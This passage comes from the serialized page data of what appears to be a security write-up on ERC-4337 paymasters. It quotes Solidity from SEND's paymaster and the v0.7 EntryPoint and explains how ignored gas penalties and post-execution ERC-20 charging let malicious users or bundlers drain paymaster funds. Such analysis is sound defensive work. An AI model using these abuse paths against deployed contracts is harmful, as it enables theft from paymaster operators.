baseFee);\n",{"type":25,"tag":216,"props":108299,"children":108300},{"class":6916,"line":105529},[108301],{"type":25,"tag":216,"props":108302,"children":108303},{"style":6958},[108304],{"type":31,"value":62846},{"type":25,"tag":216,"props":108306,"children":108307},{"class":6916,"line":105537},[108308],{"type":25,"tag":216,"props":108309,"children":108310},{"emptyLinePlaceholder":16},[108311],{"type":31,"value":7636},{"type":25,"tag":216,"props":108313,"children":108314},{"class":6916,"line":105545},[108315,108320,108325],{"type":25,"tag":216,"props":108316,"children":108317},{"style":6967},[108318],{"type":31,"value":108319},"            emit",{"type":25,"tag":216,"props":108321,"children":108322},{"style":7041},[108323],{"type":31,"value":108324}," UserOperationSponsored",{"type":25,"tag":216,"props":108326,"children":108327},{"style":6958},[108328],{"type":31,"value":108329},"(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n",{"type":25,"tag":216,"props":108331,"children":108332},{"class":6916,"line":105553},[108333,108338],{"type":25,"tag":216,"props":108334,"children":108335},{"style":7041},[108336],{"type":31,"value":108337},"            refillEntryPointDeposit",{"type":25,"tag":216,"props":108339,"children":108340},{"style":6958},[108341],{"type":31,"value":108342},"(_cachedPrice);\n",{"type":25,"tag":216,"props":108344,"children":108345},{"class":6916,"line":105581},[108346],{"type":25,"tag":216,"props":108347,"children":108348},{"style":6958},[108349],{"type":31,"value":7296},{"type":25,"tag":216,"props":108351,"children":108353},{"class":6916,"line":108352},67,[108354],{"type":25,"tag":216,"props":108355,"children":108356},{"style":6958},[108357],{"type":31,"value":7305},{"type":25,"tag":216,"props":108359,"children":108361},{"class":6916,"line":108360},68,[108362],{"type":25,"tag":216,"props":108363,"children":108364},{"style":6958},[108365],{"type":31,"value":7868},{"type":25,"tag":38,"props":108367,"children":108368},{},[108369,108371,108377,108379,108384,108386,108392],{"type":31,"value":108370},"Looking at the code above, during ",{"type":25,"tag":82,"props":108372,"children":108374},{"className":108373},[],[108375],{"type":31,"value":108376},"validatePaymasterUserOp",{"type":31,"value":108378},", the paymaster attempts to charge a maximum prefund amount first. This prefund is calculated by taking the gas limit specified in the ",{"type":25,"tag":82,"props":108380,"children":108382},{"className":108381},[],[108383],{"type":31,"value":106435},{"type":31,"value":108385}," and applying a markup price to convert the native ETH cost into the equivalent ERC20-token value. Later in ",{"type":25,"tag":82,"props":108387,"children":108389},{"className":108388},[],[108390],{"type":31,"value":108391},"postOp",{"type":31,"value":108393},", the paymaster calculates the actual charge and refunds any excess from the prefund.",{"type":25,"tag":38,"props":108395,"children":108396},{},[108397,108399,108404,108406,108413],{"type":31,"value":108398},"However, there is a critical oversight: ",{"type":25,"tag":9267,"props":108400,"children":108401},{},[108402],{"type":31,"value":108403},"the code does not account for gas penalties",{"type":31,"value":108405},". The actual gas charged to the paymaster includes not just the gas used, but also any ",{"type":25,"tag":162,"props":108407,"children":108410},{"href":108408,"rel":108409},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L726-L730",[166],[108411],{"type":31,"value":108412},"penalties incurred",{"type":31,"value":108414}," from differences between the execution gas limit and actual execution gas.",{"type":25,"tag":38,"props":108416,"children":108417},{},[108418],{"type":31,"value":108419},"This vulnerability can be exploited by malicious users who set an artificially high gas limit to trigger the penalty. When penalties are applied, the paymaster will be charged significantly more than expected, potentially draining its funds since these additional costs were not factored into the calculation.",{"type":25,"tag":38,"props":108421,"children":108422},{},[108423,108425,108430],{"type":31,"value":108424},"In fact, the bundler will be the one who receives the penalty paid by the paymaster. This means a bundler could submit their own ",{"type":25,"tag":82,"props":108426,"children":108428},{"className":108427},[],[108429],{"type":31,"value":106134},{"type":31,"value":108431}," to be executed by themselves and profit if the penalty they can extract from the paymaster exceeds their own gas costs paid to the paymaster. In SEND's case, fortunately, because they operate their own bundler, any penalties incurred flow back to their controlled bundler, creating a closed economic loop that mitigates this particular attack vector.",{"type":25,"tag":26,"props":108433,"children":108435},{"id":108434},"incorrect-erc-20-handling",[108436],{"type":25,"tag":9267,"props":108437,"children":108438},{},[108439],{"type":31,"value":108440},"Incorrect ERC-20 Handling",{"type":25,"tag":38,"props":108442,"children":108443},{},[108444],{"type":31,"value":108445},"To improve user experience, some protocols introduced ERC-20 paymasters that allow users to pay transaction gas fees using ERC-20 tokens instead of native ETH (Just like what SEND did in the above code). The core concept is quite straightforward, the paymaster fronts the ETH gas costs to bundlers, then charges users an equivalent amount in ERC-20 tokens based on current market rates. However, implementing this token-to-ETH conversion and payment flow securely requires careful consideration.",{"type":25,"tag":38,"props":108447,"children":108448},{},[108449,108450,108455,108457,108462],{"type":31,"value":49258},{"type":25,"tag":82,"props":108451,"children":108453},{"className":108452},[],[108454],{"type":31,"value":106215},{"type":31,"value":108456}," flow above, we can see that paymasters have two key interaction points during a ",{"type":25,"tag":82,"props":108458,"children":108460},{"className":108459},[],[108461],{"type":31,"value":106134},{"type":31,"value":108463},"'s lifecycle:",{"type":25,"tag":6705,"props":108465,"children":108466},{},[108467,108477],{"type":25,"tag":2037,"props":108468,"children":108469},{},[108470,108472],{"type":31,"value":108471},"During validation via ",{"type":25,"tag":82,"props":108473,"children":108475},{"className":108474},[],[108476],{"type":31,"value":106322},{"type":25,"tag":2037,"props":108478,"children":108479},{},[108480,108482],{"type":31,"value":108481},"After execution via ",{"type":25,"tag":82,"props":108483,"children":108485},{"className":108484},[],[108486],{"type":31,"value":106333},{"type":25,"tag":38,"props":108488,"children":108489},{},[108490],{"type":31,"value":108491},"This dual-interaction model has led to two predominant patterns for handling ERC-20 payments in paymaster implementations:",{"type":25,"tag":607,"props":108493,"children":108495},{"id":108494},"_1-pre-payment-with-refund-pattern",[108496],{"type":31,"value":108497},"1. Pre-Payment with Refund Pattern",{"type":25,"tag":38,"props":108499,"children":108500},{},[108501,108503,108508,108510,108515,108517,108523,108524,108530,108532,108537,108539,108544,108546,108551],{"type":31,"value":108502},"In this model, the paymaster requires users to pre-pay the maximum possible gas cost in ERC-20 tokens during ",{"type":25,"tag":82,"props":108504,"children":108506},{"className":108505},[],[108507],{"type":31,"value":106322},{"type":31,"value":108509},". After execution completes, ",{"type":25,"tag":82,"props":108511,"children":108513},{"className":108512},[],[108514],{"type":31,"value":106333},{"type":31,"value":108516}," refunds any excess tokens based on actual gas consumed. This is analogous to how regular ETH gas payments work. Several protocols like ",{"type":25,"tag":82,"props":108518,"children":108520},{"className":108519},[],[108521],{"type":31,"value":108522},"SEND",{"type":31,"value":1301},{"type":25,"tag":82,"props":108525,"children":108527},{"className":108526},[],[108528],{"type":31,"value":108529},"Circle",{"type":31,"value":108531}," have implemented this approach. However, this pattern has one key disadvantage: users must first approve the paymaster to spend their ERC20 tokens before submitting any ",{"type":25,"tag":82,"props":108533,"children":108535},{"className":108534},[],[108536],{"type":31,"value":106163},{"type":31,"value":108538},". This additional setup step is required to ensure the paymaster can successfully deduct tokens ",{"type":25,"tag":9267,"props":108540,"children":108541},{},[108542],{"type":31,"value":108543},"before",{"type":31,"value":108545}," execution (specifically during ",{"type":25,"tag":82,"props":108547,"children":108549},{"className":108548},[],[108550],{"type":31,"value":108376},{"type":31,"value":24696},{"type":25,"tag":607,"props":108553,"children":108555},{"id":108554},"_2-post-execution-charging-pattern",[108556],{"type":31,"value":108557},"2. Post-Execution Charging Pattern",{"type":25,"tag":38,"props":108559,"children":108560},{},[108561,108563,108568,108570,108575,108577,108582,108584,108589],{"type":31,"value":108562},"This alternative approach defers token collection until after execution. Instead of charging a prefund during ",{"type":25,"tag":82,"props":108564,"children":108566},{"className":108565},[],[108567],{"type":31,"value":106322},{"type":31,"value":108569},", the actual token payment is calculated and collected in ",{"type":25,"tag":82,"props":108571,"children":108573},{"className":108572},[],[108574],{"type":31,"value":106333},{"type":31,"value":108576}," based on the exact gas consumed. At first glance, this appears to be the most user-friendly pattern since users can bundle their token approval transaction within the same ",{"type":25,"tag":82,"props":108578,"children":108580},{"className":108579},[],[108581],{"type":31,"value":106134},{"type":31,"value":108583},", eliminating the need for a separate pre-approval transaction before submitting the ",{"type":25,"tag":82,"props":108585,"children":108587},{"className":108586},[],[108588],{"type":31,"value":106435},{"type":31,"value":108590},". This means users could interact with the paymaster without any prior setup.",{"type":25,"tag":38,"props":108592,"children":108593},{},[108594,108596,108601,108603,108609,108611,108617,108619,108624],{"type":31,"value":108595},"This approach used to work in ",{"type":25,"tag":82,"props":108597,"children":108599},{"className":108598},[],[108600],{"type":31,"value":106215},{"type":31,"value":108602}," version ",{"type":25,"tag":82,"props":108604,"children":108606},{"className":108605},[],[108607],{"type":31,"value":108608},"v0.6",{"type":31,"value":108610},", but the pattern no longer works in ",{"type":25,"tag":82,"props":108612,"children":108614},{"className":108613},[],[108615],{"type":31,"value":108616},"v0.7",{"type":31,"value":108618},". In fact, using this pattern can lead to loss of funds for the paymaster. Let's take a closer look at how ",{"type":25,"tag":82,"props":108620,"children":108622},{"className":108621},[],[108623],{"type":31,"value":108616},{"type":31,"value":108625}," handles the execution phase:",{"type":25,"tag":206,"props":108627,"children":108629},{"className":8417,"code":108628,"language":8416,"meta":7,"style":7},"    function _executeUserOp(\n        uint256 opIndex,\n        PackedUserOperation calldata userOp,\n        UserOpInfo memory opInfo\n    )\n    internal virtual\n    returns (uint256 collected) {\n    [...]\n        bool success;\n        {\n    [...]\n            if (methodSig == IAccountExecute.executeUserOp.selector) {\n                bytes memory executeUserOp = abi.encodeCall(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n                innerCall = abi.encodeCall(this.innerHandleOp, (executeUserOp, opInfo, context));\n            } else\n            {\n                innerCall = abi.encodeCall(this.innerHandleOp, (callData, opInfo, context));\n            }\n            assembly (\"memory-safe\") {\n                success := call(gas(), address(), 0, add(innerCall, 0x20), mload(innerCall), 0, 32)\n                collected := mload(0)\n            }\n            _restoreFreePtr(saveFreePtr);\n        }\n        if (!success) {\n    [...]\n            if (innerRevertCode == INNER_OUT_OF_GAS) {\n                // handleOps was called with gas limit too low. abort entire bundle.\n                // can only be caused by bundler (leaving not enough gas for inner call)\n                revert FailedOp(opIndex, \"AA95 out of gas\");\n            } else if (innerRevertCode == INNER_REVERT_LOW_PREFUND) {\n                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n                uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n                uint256 actualGasCost = opInfo.prefund;\n                _emitPrefundTooLow(opInfo);\n                _emitUserOperationEvent(opInfo, false, actualGasCost, actualGas);\n                collected = actualGasCost;\n            } else {\n    [...]\n                collected = _postExecution(\n                    IPaymaster.PostOpMode.postOpReverted,\n                    opInfo,\n                    context,\n                    actualGas\n                );\n            }\n        }\n    }\n",[108630],{"type":25,"tag":82,"props":108631,"children":108632},{"__ignoreMap":7},[108633,108649,108665,108685,108702,108709,108722,108746,108754,108767,108774,108781,108802,108841,108878,108890,108897,108933,108940,108961,109050,109079,109086,109099,109106,109126,109133,109154,109162,109170,109197,109225,109233,109276,109296,109309,109331,109347,109362,109369,109389,109397,109405,109413,109421,109429,109436,109443],{"type":25,"tag":216,"props":108634,"children":108635},{"class":6916,"line":6917},[108636,108640,108645],{"type":25,"tag":216,"props":108637,"children":108638},{"style":6930},[108639],{"type":31,"value":93796},{"type":25,"tag":216,"props":108641,"children":108642},{"style":7041},[108643],{"type":31,"value":108644}," _executeUserOp",{"type":25,"tag":216,"props":108646,"children":108647},{"style":6958},[108648],{"type":31,"value":7414},{"type":25,"tag":216,"props":108650,"children":108651},{"class":6916,"line":6763},[108652,108656,108661],{"type":25,"tag":216,"props":108653,"children":108654},{"style":7369},[108655],{"type":31,"value":93974},{"type":25,"tag":216,"props":108657,"children":108658},{"style":6941},[108659],{"type":31,"value":108660}," opIndex",{"type":25,"tag":216,"props":108662,"children":108663},{"style":6958},[108664],{"type":31,"value":7459},{"type":25,"tag":216,"props":108666,"children":108667},{"class":6916,"line":6772},[108668,108673,108677,108681],{"type":25,"tag":216,"props":108669,"children":108670},{"style":6930},[108671],{"type":31,"value":108672},"        PackedUserOperation",{"type":25,"tag":216,"props":108674,"children":108675},{"style":6930},[108676],{"type":31,"value":106964},{"type":25,"tag":216,"props":108678,"children":108679},{"style":6941},[108680],{"type":31,"value":106969},{"type":25,"tag":216,"props":108682,"children":108683},{"style":6958},[108684],{"type":31,"value":7459},{"type":25,"tag":216,"props":108686,"children":108687},{"class":6916,"line":6999},[108688,108693,108697],{"type":25,"tag":216,"props":108689,"children":108690},{"style":6930},[108691],{"type":31,"value":108692},"        UserOpInfo",{"type":25,"tag":216,"props":108694,"children":108695},{"style":6930},[108696],{"type":31,"value":107032},{"type":25,"tag":216,"props":108698,"children":108699},{"style":6941},[108700],{"type":31,"value":108701}," opInfo\n",{"type":25,"tag":216,"props":108703,"children":108704},{"class":6916,"line":7104},[108705],{"type":25,"tag":216,"props":108706,"children":108707},{"style":6958},[108708],{"type":31,"value":27870},{"type":25,"tag":216,"props":108710,"children":108711},{"class":6916,"line":7210},[108712,108717],{"type":25,"tag":216,"props":108713,"children":108714},{"style":6930},[108715],{"type":31,"value":108716},"    internal",{"type":25,"tag":216,"props":108718,"children":108719},{"style":6930},[108720],{"type":31,"value":108721}," virtual\n",{"type":25,"tag":216,"props":108723,"children":108724},{"class":6916,"line":7238},[108725,108729,108733,108737,108742],{"type":25,"tag":216,"props":108726,"children":108727},{"style":6967},[108728],{"type":31,"value":50471},{"type":25,"tag":216,"props":108730,"children":108731},{"style":6958},[108732],{"type":31,"value":7010},{"type":25,"tag":216,"props":108734,"children":108735},{"style":7369},[108736],{"type":31,"value":50130},{"type":25,"tag":216,"props":108738,"children":108739},{"style":6941},[108740],{"type":31,"value":108741}," collected",{"type":25,"tag":216,"props":108743,"children":108744},{"style":6958},[108745],{"type":31,"value":18755},{"type":25,"tag":216,"props":108747,"children":108748},{"class":6916,"line":7251},[108749],{"type":25,"tag":216,"props":108750,"children":108751},{"style":6958},[108752],{"type":31,"value":108753},"    [...]\n",{"type":25,"tag":216,"props":108755,"children":108756},{"class":6916,"line":7269},[108757,108762],{"type":25,"tag":216,"props":108758,"children":108759},{"style":7369},[108760],{"type":31,"value":108761},"        bool",{"type":25,"tag":216,"props":108763,"children":108764},{"style":6958},[108765],{"type":31,"value":108766}," success;\n",{"type":25,"tag":216,"props":108768,"children":108769},{"class":6916,"line":7290},[108770],{"type":25,"tag":216,"props":108771,"children":108772},{"style":6958},[108773],{"type":31,"value":35615},{"type":25,"tag":216,"props":108775,"children":108776},{"class":6916,"line":7299},[108777],{"type":25,"tag":216,"props":108778,"children":108779},{"style":6958},[108780],{"type":31,"value":108753},{"type":25,"tag":216,"props":108782,"children":108783},{"class":6916,"line":7551},[108784,108788,108793,108797],{"type":25,"tag":216,"props":108785,"children":108786},{"style":6967},[108787],{"type":31,"value":62762},{"type":25,"tag":216,"props":108789,"children":108790},{"style":6958},[108791],{"type":31,"value":108792}," (methodSig ",{"type":25,"tag":216,"props":108794,"children":108795},{"style":6947},[108796],{"type":31,"value":12522},{"type":25,"tag":216,"props":108798,"children":108799},{"style":6958},[108800],{"type":31,"value":108801}," IAccountExecute.executeUserOp.selector) {\n",{"type":25,"tag":216,"props":108803,"children":108804},{"class":6916,"line":7568},[108805,108810,108814,108819,108823,108827,108831,108836],{"type":25,"tag":216,"props":108806,"children":108807},{"style":7369},[108808],{"type":31,"value":108809},"                bytes",{"type":25,"tag":216,"props":108811,"children":108812},{"style":6930},[108813],{"type":31,"value":107032},{"type":25,"tag":216,"props":108815,"children":108816},{"style":6958},[108817],{"type":31,"value":108818}," executeUserOp ",{"type":25,"tag":216,"props":108820,"children":108821},{"style":6947},[108822],{"type":31,"value":266},{"type":25,"tag":216,"props":108824,"children":108825},{"style":6930},[108826],{"type":31,"value":107629},{"type":25,"tag":216,"props":108828,"children":108829},{"style":6958},[108830],{"type":31,"value":179},{"type":25,"tag":216,"props":108832,"children":108833},{"style":7041},[108834],{"type":31,"value":108835},"encodeCall",{"type":25,"tag":216,"props":108837,"children":108838},{"style":6958},[108839],{"type":31,"value":108840},"(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n",{"type":25,"tag":216,"props":108842,"children":108843},{"class":6916,"line":7585},[108844,108849,108853,108857,108861,108865,108869,108873],{"type":25,"tag":216,"props":108845,"children":108846},{"style":6958},[108847],{"type":31,"value":108848},"                innerCall ",{"type":25,"tag":216,"props":108850,"children":108851},{"style":6947},[108852],{"type":31,"value":266},{"type":25,"tag":216,"props":108854,"children":108855},{"style":6930},[108856],{"type":31,"value":107629},{"type":25,"tag":216,"props":108858,"children":108859},{"style":6958},[108860],{"type":31,"value":179},{"type":25,"tag":216,"props":108862,"children":108863},{"style":7041},[108864],{"type":31,"value":108835},{"type":25,"tag":216,"props":108866,"children":108867},{"style":6958},[108868],{"type":31,"value":1844},{"type":25,"tag":216,"props":108870,"children":108871},{"style":6930},[108872],{"type":31,"value":21645},{"type":25,"tag":216,"props":108874,"children":108875},{"style":6958},[108876],{"type":31,"value":108877},".innerHandleOp, (executeUserOp, opInfo, context));\n",{"type":25,"tag":216,"props":108879,"children":108880},{"class":6916,"line":7598},[108881,108885],{"type":25,"tag":216,"props":108882,"children":108883},{"style":6958},[108884],{"type":31,"value":74558},{"type":25,"tag":216,"props":108886,"children":108887},{"style":6967},[108888],{"type":31,"value":108889},"else\n",{"type":25,"tag":216,"props":108891,"children":108892},{"class":6916,"line":7607},[108893],{"type":25,"tag":216,"props":108894,"children":108895},{"style":6958},[108896],{"type":31,"value":35651},{"type":25,"tag":216,"props":108898,"children":108899},{"class":6916,"line":7630},[108900,108904,108908,108912,108916,108920,108924,108928],{"type":25,"tag":216,"props":108901,"children":108902},{"style":6958},[108903],{"type":31,"value":108848},{"type":25,"tag":216,"props":108905,"children":108906},{"style":6947},[108907],{"type":31,"value":266},{"type":25,"tag":216,"props":108909,"children":108910},{"style":6930},[108911],{"type":31,"value":107629},{"type":25,"tag":216,"props":108913,"children":108914},{"style":6958},[108915],{"type":31,"value":179},{"type":25,"tag":216,"props":108917,"children":108918},{"style":7041},[108919],{"type":31,"value":108835},{"type":25,"tag":216,"props":108921,"children":108922},{"style":6958},[108923],{"type":31,"value":1844},{"type":25,"tag":216,"props":108925,"children":108926},{"style":6930},[108927],{"type":31,"value":21645},{"type":25,"tag":216,"props":108929,"children":108930},{"style":6958},[108931],{"type":31,"value":108932},".innerHandleOp, (callData, opInfo, context));\n",{"type":25,"tag":216,"props":108934,"children":108935},{"class":6916,"line":7639},[108936],{"type":25,"tag":216,"props":108937,"children":108938},{"style":6958},[108939],{"type":31,"value":62846},{"type":25,"tag":216,"props":108941,"children":108942},{"class":6916,"line":7648},[108943,108948,108952,108957],{"type":25,"tag":216,"props":108944,"children":108945},{"style":7041},[108946],{"type":31,"value":108947},"            assembly",{"type":25,"tag":216,"props":108949,"children":108950},{"style":6958},[108951],{"type":31,"value":7010},{"type":25,"tag":216,"props":108953,"children":108954},{"style":8199},[108955],{"type":31,"value":108956},"\"memory-safe\"",{"type":25,"tag":216,"props":108958,"children":108959},{"style":6958},[108960],{"type":31,"value":18755},{"type":25,"tag":216,"props":108962,"children":108963},{"class":6916,"line":7716},[108964,108969,108973,108977,108981,108986,108990,108994,108998,109002,109006,109010,109015,109020,109024,109029,109034,109038,109042,109046],{"type":25,"tag":216,"props":108965,"children":108966},{"style":6958},[108967],{"type":31,"value":108968},"                success ",{"type":25,"tag":216,"props":108970,"children":108971},{"style":6947},[108972],{"type":31,"value":3002},{"type":25,"tag":216,"props":108974,"children":108975},{"style":7041},[108976],{"type":31,"value":44921},{"type":25,"tag":216,"props":108978,"children":108979},{"style":6958},[108980],{"type":31,"value":1844},{"type":25,"tag":216,"props":108982,"children":108983},{"style":7041},[108984],{"type":31,"value":108985},"gas",{"type":25,"tag":216,"props":108987,"children":108988},{"style":6958},[108989],{"type":31,"value":22328},{"type":25,"tag":216,"props":108991,"children":108992},{"style":7369},[108993],{"type":31,"value":36597},{"type":25,"tag":216,"props":108995,"children":108996},{"style":6958},[108997],{"type":31,"value":22328},{"type":25,"tag":216,"props":108999,"children":109000},{"style":6983},[109001],{"type":31,"value":1876},{"type":25,"tag":216,"props":109003,"children":109004},{"style":6958},[109005],{"type":31,"value":7020},{"type":25,"tag":216,"props":109007,"children":109008},{"style":7041},[109009],{"type":31,"value":13588},{"type":25,"tag":216,"props":109011,"children":109012},{"style":6958},[109013],{"type":31,"value":109014},"(innerCall, ",{"type":25,"tag":216,"props":109016,"children":109017},{"style":6983},[109018],{"type":31,"value":109019},"0x20",{"type":25,"tag":216,"props":109021,"children":109022},{"style":6958},[109023],{"type":31,"value":5400},{"type":25,"tag":216,"props":109025,"children":109026},{"style":7041},[109027],{"type":31,"value":109028},"mload",{"type":25,"tag":216,"props":109030,"children":109031},{"style":6958},[109032],{"type":31,"value":109033},"(innerCall), ",{"type":25,"tag":216,"props":109035,"children":109036},{"style":6983},[109037],{"type":31,"value":1876},{"type":25,"tag":216,"props":109039,"children":109040},{"style":6958},[109041],{"type":31,"value":7020},{"type":25,"tag":216,"props":109043,"children":109044},{"style":6983},[109045],{"type":31,"value":64308},{"type":25,"tag":216,"props":109047,"children":109048},{"style":6958},[109049],{"type":31,"value":7101},{"type":25,"tag":216,"props":109051,"children":109052},{"class":6916,"line":7724},[109053,109058,109062,109067,109071,109075],{"type":25,"tag":216,"props":109054,"children":109055},{"style":6958},[109056],{"type":31,"value":109057},"                collected ",{"type":25,"tag":216,"props":109059,"children":109060},{"style":6947},[109061],{"type":31,"value":3002},{"type":25,"tag":216,"props":109063,"children":109064},{"style":7041},[109065],{"type":31,"value":109066}," mload",{"type":25,"tag":216,"props":109068,"children":109069},{"style":6958},[109070],{"type":31,"value":1844},{"type":25,"tag":216,"props":109072,"children":109073},{"style":6983},[109074],{"type":31,"value":1876},{"type":25,"tag":216,"props":109076,"children":109077},{"style":6958},[109078],{"type":31,"value":7101},{"type":25,"tag":216,"props":109080,"children":109081},{"class":6916,"line":7754},[109082],{"type":25,"tag":216,"props":109083,"children":109084},{"style":6958},[109085],{"type":31,"value":62846},{"type":25,"tag":216,"props":109087,"children":109088},{"class":6916,"line":7762},[109089,109094],{"type":25,"tag":216,"props":109090,"children":109091},{"style":7041},[109092],{"type":31,"value":109093},"            _restoreFreePtr",{"type":25,"tag":216,"props":109095,"children":109096},{"style":6958},[109097],{"type":31,"value":109098},"(saveFreePtr);\n",{"type":25,"tag":216,"props":109100,"children":109101},{"class":6916,"line":7794},[109102],{"type":25,"tag":216,"props":109103,"children":109104},{"style":6958},[109105],{"type":31,"value":7296},{"type":25,"tag":216,"props":109107,"children":109108},{"class":6916,"line":7802},[109109,109113,109117,109121],{"type":25,"tag":216,"props":109110,"children":109111},{"style":6967},[109112],{"type":31,"value":7216},{"type":25,"tag":216,"props":109114,"children":109115},{"style":6958},[109116],{"type":31,"value":7010},{"type":25,"tag":216,"props":109118,"children":109119},{"style":6947},[109120],{"type":31,"value":24575},{"type":25,"tag":216,"props":109122,"children":109123},{"style":6958},[109124],{"type":31,"value":109125},"success) {\n",{"type":25,"tag":216,"props":109127,"children":109128},{"class":6916,"line":7862},[109129],{"type":25,"tag":216,"props":109130,"children":109131},{"style":6958},[109132],{"type":31,"value":108753},{"type":25,"tag":216,"props":109134,"children":109135},{"class":6916,"line":12995},[109136,109140,109145,109149],{"type":25,"tag":216,"props":109137,"children":109138},{"style":6967},[109139],{"type":31,"value":62762},{"type":25,"tag":216,"props":109141,"children":109142},{"style":6958},[109143],{"type":31,"value":109144}," (innerRevertCode ",{"type":25,"tag":216,"props":109146,"children":109147},{"style":6947},[109148],{"type":31,"value":12522},{"type":25,"tag":216,"props":109150,"children":109151},{"style":6958},[109152],{"type":31,"value":109153}," INNER_OUT_OF_GAS) {\n",{"type":25,"tag":216,"props":109155,"children":109156},{"class":6916,"line":13013},[109157],{"type":25,"tag":216,"props":109158,"children":109159},{"style":6921},[109160],{"type":31,"value":109161},"                // handleOps was called with gas limit too low. abort entire bundle.\n",{"type":25,"tag":216,"props":109163,"children":109164},{"class":6916,"line":13058},[109165],{"type":25,"tag":216,"props":109166,"children":109167},{"style":6921},[109168],{"type":31,"value":109169},"                // can only be caused by bundler (leaving not enough gas for inner call)\n",{"type":25,"tag":216,"props":109171,"children":109172},{"class":6916,"line":13164},[109173,109178,109183,109188,109193],{"type":25,"tag":216,"props":109174,"children":109175},{"style":6967},[109176],{"type":31,"value":109177},"                revert",{"type":25,"tag":216,"props":109179,"children":109180},{"style":7041},[109181],{"type":31,"value":109182}," FailedOp",{"type":25,"tag":216,"props":109184,"children":109185},{"style":6958},[109186],{"type":31,"value":109187},"(opIndex, ",{"type":25,"tag":216,"props":109189,"children":109190},{"style":8199},[109191],{"type":31,"value":109192},"\"AA95 out of gas\"",{"type":25,"tag":216,"props":109194,"children":109195},{"style":6958},[109196],{"type":31,"value":7791},{"type":25,"tag":216,"props":109198,"children":109199},{"class":6916,"line":27449},[109200,109204,109208,109212,109216,109220],{"type":25,"tag":216,"props":109201,"children":109202},{"style":6958},[109203],{"type":31,"value":74558},{"type":25,"tag":216,"props":109205,"children":109206},{"style":6967},[109207],{"type":31,"value":7262},{"type":25,"tag":216,"props":109209,"children":109210},{"style":6967},[109211],{"type":31,"value":19740},{"type":25,"tag":216,"props":109213,"children":109214},{"style":6958},[109215],{"type":31,"value":109144},{"type":25,"tag":216,"props":109217,"children":109218},{"style":6947},[109219],{"type":31,"value":12522},{"type":25,"tag":216,"props":109221,"children":109222},{"style":6958},[109223],{"type":31,"value":109224}," INNER_REVERT_LOW_PREFUND) {\n",{"type":25,"tag":216,"props":109226,"children":109227},{"class":6916,"line":27484},[109228],{"type":25,"tag":216,"props":109229,"children":109230},{"style":6921},[109231],{"type":31,"value":109232},"                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n",{"type":25,"tag":216,"props":109234,"children":109235},{"class":6916,"line":27492},[109236,109240,109245,109249,109254,109258,109263,109267,109271],{"type":25,"tag":216,"props":109237,"children":109238},{"style":7369},[109239],{"type":31,"value":107412},{"type":25,"tag":216,"props":109241,"children":109242},{"style":6958},[109243],{"type":31,"value":109244}," actualGas ",{"type":25,"tag":216,"props":109246,"children":109247},{"style":6947},[109248],{"type":31,"value":266},{"type":25,"tag":216,"props":109250,"children":109251},{"style":6958},[109252],{"type":31,"value":109253}," preGas ",{"type":25,"tag":216,"props":109255,"children":109256},{"style":6947},[109257],{"type":31,"value":8270},{"type":25,"tag":216,"props":109259,"children":109260},{"style":6930},[109261],{"type":31,"value":109262}," gasleft",{"type":25,"tag":216,"props":109264,"children":109265},{"style":6958},[109266],{"type":31,"value":17994},{"type":25,"tag":216,"props":109268,"children":109269},{"style":6947},[109270],{"type":31,"value":3533},{"type":25,"tag":216,"props":109272,"children":109273},{"style":6958},[109274],{"type":31,"value":109275}," opInfo.preOpGas;\n",{"type":25,"tag":216,"props":109277,"children":109278},{"class":6916,"line":27500},[109279,109283,109287,109291],{"type":25,"tag":216,"props":109280,"children":109281},{"style":7369},[109282],{"type":31,"value":107412},{"type":25,"tag":216,"props":109284,"children":109285},{"style":6958},[109286],{"type":31,"value":108059},{"type":25,"tag":216,"props":109288,"children":109289},{"style":6947},[109290],{"type":31,"value":266},{"type":25,"tag":216,"props":109292,"children":109293},{"style":6958},[109294],{"type":31,"value":109295}," opInfo.prefund;\n",{"type":25,"tag":216,"props":109297,"children":109298},{"class":6916,"line":27509},[109299,109304],{"type":25,"tag":216,"props":109300,"children":109301},{"style":7041},[109302],{"type":31,"value":109303},"                _emitPrefundTooLow",{"type":25,"tag":216,"props":109305,"children":109306},{"style":6958},[109307],{"type":31,"value":109308},"(opInfo);\n",{"type":25,"tag":216,"props":109310,"children":109311},{"class":6916,"line":27551},[109312,109317,109322,109326],{"type":25,"tag":216,"props":109313,"children":109314},{"style":7041},[109315],{"type":31,"value":109316},"                _emitUserOperationEvent",{"type":25,"tag":216,"props":109318,"children":109319},{"style":6958},[109320],{"type":31,"value":109321},"(opInfo, ",{"type":25,"tag":216,"props":109323,"children":109324},{"style":6930},[109325],{"type":31,"value":12121},{"type":25,"tag":216,"props":109327,"children":109328},{"style":6958},[109329],{"type":31,"value":109330},", actualGasCost, actualGas);\n",{"type":25,"tag":216,"props":109332,"children":109333},{"class":6916,"line":27584},[109334,109338,109342],{"type":25,"tag":216,"props":109335,"children":109336},{"style":6958},[109337],{"type":31,"value":109057},{"type":25,"tag":216,"props":109339,"children":109340},{"style":6947},[109341],{"type":31,"value":266},{"type":25,"tag":216,"props":109343,"children":109344},{"style":6958},[109345],{"type":31,"value":109346}," actualGasCost;\n",{"type":25,"tag":216,"props":109348,"children":109349},{"class":6916,"line":27592},[109350,109354,109358],{"type":25,"tag":216,"props":109351,"children":109352},{"style":6958},[109353],{"type":31,"value":74558},{"type":25,"tag":216,"props":109355,"children":109356},{"style":6967},[109357],{"type":31,"value":7262},{"type":25,"tag":216,"props":109359,"children":109360},{"style":6958},[109361],{"type":31,"value":7235},{"type":25,"tag":216,"props":109363,"children":109364},{"class":6916,"line":27600},[109365],{"type":25,"tag":216,"props":109366,"children":109367},{"style":6958},[109368],{"type":31,"value":108753},{"type":25,"tag":216,"props":109370,"children":109371},{"class":6916,"line":27609},[109372,109376,109380,109385],{"type":25,"tag":216,"props":109373,"children":109374},{"style":6958},[109375],{"type":31,"value":109057},{"type":25,"tag":216,"props":109377,"children":109378},{"style":6947},[109379],{"type":31,"value":266},{"type":25,"tag":216,"props":109381,"children":109382},{"style":7041},[109383],{"type":31,"value":109384}," 